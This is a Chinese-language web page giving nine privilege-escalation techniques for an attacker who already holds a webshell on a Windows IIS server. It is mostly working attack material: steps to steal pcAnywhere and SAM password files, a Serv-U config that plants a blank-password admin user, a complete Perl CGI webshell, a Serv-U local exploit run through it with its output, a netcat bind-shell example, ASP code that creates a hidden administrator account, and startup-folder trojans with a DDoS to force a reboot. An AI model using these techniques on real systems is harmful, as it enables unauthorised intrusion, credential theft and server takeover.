主頁 > 知識庫 > 提升(web)權(quán)限終極9技巧

提升(web)權(quán)限終極9技巧

熱門標(biāo)簽:溫嶺代理外呼系統(tǒng) 交行外呼系統(tǒng)有哪些 臨滄移動外呼系統(tǒng)哪家有 防城港市ai電銷機(jī)器人 寧夏保險(xiǎn)智能外呼系統(tǒng)哪家好 怎么更改地圖標(biāo)注電話 隨州銷售外呼系統(tǒng)平臺 不同的地圖標(biāo)注 激戰(zhàn)黃昏地圖標(biāo)注說明
當(dāng)我們?nèi)〉靡粋€webshell時(shí)候,下一部要做的就是提升權(quán)限 
個人總結(jié)如下: 
1: C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere 看能否跳轉(zhuǎn)到這個目錄,如果行那就最好了,直接下它的CIF文件,得到pcAnywhere密碼,登陸 
2.C:\WINNT\system32\config進(jìn)這里下它的SAM,破解用戶的密碼 
用到破解sam密碼的軟件有LC,SAMinside 
3.C:\Documents and Settings\All Users\「開始」菜單\程序 看這里能跳轉(zhuǎn)不,我們從這里可以獲取好多有用的信息 
可以看見好多快捷方式,我們一般選擇Serv-U的,然后本地查看屬性,知道路徑后,看能否跳轉(zhuǎn) 
進(jìn)去后,如果有權(quán)限修改ServUDaemon.ini,加個用戶上去,密碼為空 
[USER=WekweN|1] 
Password= 
HomeDir=c:TimeOut=600 
Maintenance=System 
Access1=C:\|RWAMELCDP 
Access1=d:\|RWAMELCDP 
Access1=f:\|RWAMELCDP 
SKEYValues= 
這個用戶具有最高權(quán)限,然后我們就可以ftp上去 quote site exec xxx 來提升權(quán)限 

4.c:\winnt\system32\inetsrv\data就是這個目錄,同樣是erveryone 完全控制,我們所要做的就是把提升權(quán)限的工具上傳上去,然后執(zhí)行 
5.看能否跳轉(zhuǎn)到如下目錄 
c:\php, 用phpspy 
c:\prel,有時(shí)候不一定是這個目錄(同樣可以通過下載快捷方式看屬性獲知)用cgi的webshell 
#!/usr/bin/perl 
binmode(STDOUT); 
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27); 
$_ = $ENV{QUERY_STRING}; 
s/%20/ /ig; 
s/%2f/\//ig; 
$execthis = $_; 
syswrite(STDOUT, "HTML>PRE>\r\n", 13); 
open(STDERR, ">STDOUT") || die "Can't redirect STDERR"; 
system($execthis); 
syswrite(STDOUT, "\r\n/PRE>/HTML>\r\n", 17); 
close(STDERR); 
close(STDOUT); 
exit; 
保存為cgi執(zhí)行, 
如果不行,可以試試 pl 擴(kuò)展呢,把剛才的 cgi 文件改為 pl 文件,提交 http://anyhost//cmd.pl?dir 
顯示"拒絕訪問",表示可以執(zhí)行了!馬上提交:先的上傳個su.exe(ser-u提升權(quán)限的工具)到 prel的bin目錄 
http://anyhost//cmd.pl?c\perl\bin\su.exe 
返回: 
Serv-u >3.x Local Exploit by xiaolu 
USAGE: serv-u.exe "command" 
Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe" 
現(xiàn)在是 IUSR 權(quán)限,提交: 
http://anyhost//cmd.pl?c\perl\bin\su.exe "cacls.exe c: /E /T /G everyone:F" 
http://anyhost//cmd.pl?c\perl\bin\su.exe "cacls.exe d: /E /T /G everyone:F" 
http://anyhost//cmd.pl?c\perl\bin\su.exe "cacls.exe e: /E /T /G everyone:F" 
http://anyhost//cmd.pl?c\perl\bin\su.exe "cacls.exe f: /E /T /G everyone:F" 
如果返回下面的信息,就表示成功了 
Serv-u >3.x Local Exploit by xiaolu 
220 Serv-U FTP Server v5.2 for WinSock ready... 
>USER LocalAdministrator 
331 User name okay, need password. 
****************************************************** 
>PASS #l@$ak#.lk;0@P 
230 User logged in, proceed. 
****************************************************** 
>SITE MAINTENANCE 
****************************************************** 
[+] Creating New Domain... 
200-DomainID=2 
220 Domain settings saved 
****************************************************** 
[+] Domain xl:2 Created 
[+] Creating Evil User 
200-User=xl 
200 User settings saved 
****************************************************** 
[+] Now Exploiting... 
>USER xl 
331 User name okay, need password. 
****************************************************** 
>PASS 111111 
230 User logged in, proceed. 
****************************************************** 
[+] Now Executing: cacls.exe c: /E /T /G everyone:F 
220 Domain deleted 
這樣所有分區(qū)為everyone完全控制 
現(xiàn)在我們把自己的用戶提升為管理員: 
http://anyhost//cmd.pl?c\perl\bin\su.exe " net localgroup administrators IUSR_anyhost /add" 

6.可以成功運(yùn)行"cscript C:\Inetpub\AdminScripts\adsutil.vbs get w3svc/inprocessisapiapps"來提升權(quán)限 
用這個cscript C:\Inetpub\AdminScripts\adsutil.vbs get w3svc/inprocessisapiapps 
查看有特權(quán)的dll文件:idq.dll httpext.dll httpodbc.dll ssinc.dll msw3prt.dll 
再將asp.dll加入特權(quán)一族 
asp.dll是放在c:\winnt\system32\inetsrv\asp.dll (不同的機(jī)子放的位置不一定一樣) 
我們現(xiàn)在加進(jìn)去cscript adsutil.vbs set /W3SVC/InProcessIsapiApps "C:\WINNT\system32\idq.dll" "C:\WINNT\system32\inetsrv\httpext.dll" "C:\WINNT\system32\inetsrv\httpodbc.dll" "C:\WINNT\system32\inetsrv\ssinc.dll" "C:\WINNT\system32\msw3prt.dll""c:\winnt\system32\inetsrv\asp.dll" 
可以用cscript adsutil.vbs get /W3SVC/InProcessIsapiApps 來查看是不是加進(jìn)去了 
7.還可以用這段代碼試提升,好象效果不明顯 
%Response.Expires=0">%@codepage=936%>%Response.Expires=0 
on error resume next 
Session.TimeOut=50 
Server.ScriptTimeout=3000 
set lp=Server.CreateObject("WSCRIPT.NETWORK") 
oz="WinNT://"lp.ComputerName 
Set ob=GetObject(oz) 
Set oe=GetObject(oz"/Administrators,group") 
Set od=ob.Create("user","WekweN$") 
od.SetPassword "WekweN" -----密碼 
od.SetInfo 
Set of=GetObject(oz"/WekweN$,user") 
oe.Add(of.ADsPath) 
Response.write "WekweN$ 超級帳號建立成功!"%> 

用這段代碼檢查是否提升成功 
%@codepage=936%> 
%Response.Expires=0 
on error resume next '查找Administrators組帳號 
Set tN=server.CreateObject("Wscript.Network") 
Set objGroup=GetObject("WinNT://"tN.ComputerName"/Administrators,group") 
For Each admin in objGroup.Members 
Response.write admin.Name"br>" 
Next 
if err then 
Response.write "不行啊:Wscript.Network" 
end if 
%> 
8.C:\Program Files\Java Web Start這里如果可以,一般很小,可以嘗試用jsp的webshell,聽說權(quán)限很小,本人沒有遇見過。 
9.最后了,如果主機(jī)設(shè)置很變態(tài),可以試下在c:\Documents and Settings\All Users\「開始」菜單\程序\啟動"寫入bat,vbs等木馬。 
等到主機(jī)重啟或者你ddos逼它重啟,來達(dá)到權(quán)限提升的目的。

標(biāo)簽:無錫 哈密 青海 紅河 忻州 阜陽 河源 沈陽

巨人網(wǎng)絡(luò)通訊聲明:本文標(biāo)題《提升(web)權(quán)限終極9技巧》,本文關(guān)鍵詞  提升,web,權(quán)限,終極,技巧,;如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問題,煩請?zhí)峁┫嚓P(guān)信息告之我們,我們將及時(shí)溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò),涉及言論、版權(quán)與本站無關(guān)。
  • 相關(guān)文章
  • 下面列出與本文章《提升(web)權(quán)限終極9技巧》相關(guān)的同類信息!
  • 本頁收集關(guān)于提升(web)權(quán)限終極9技巧的相關(guān)信息資訊供網(wǎng)民參考!
  • 推薦文章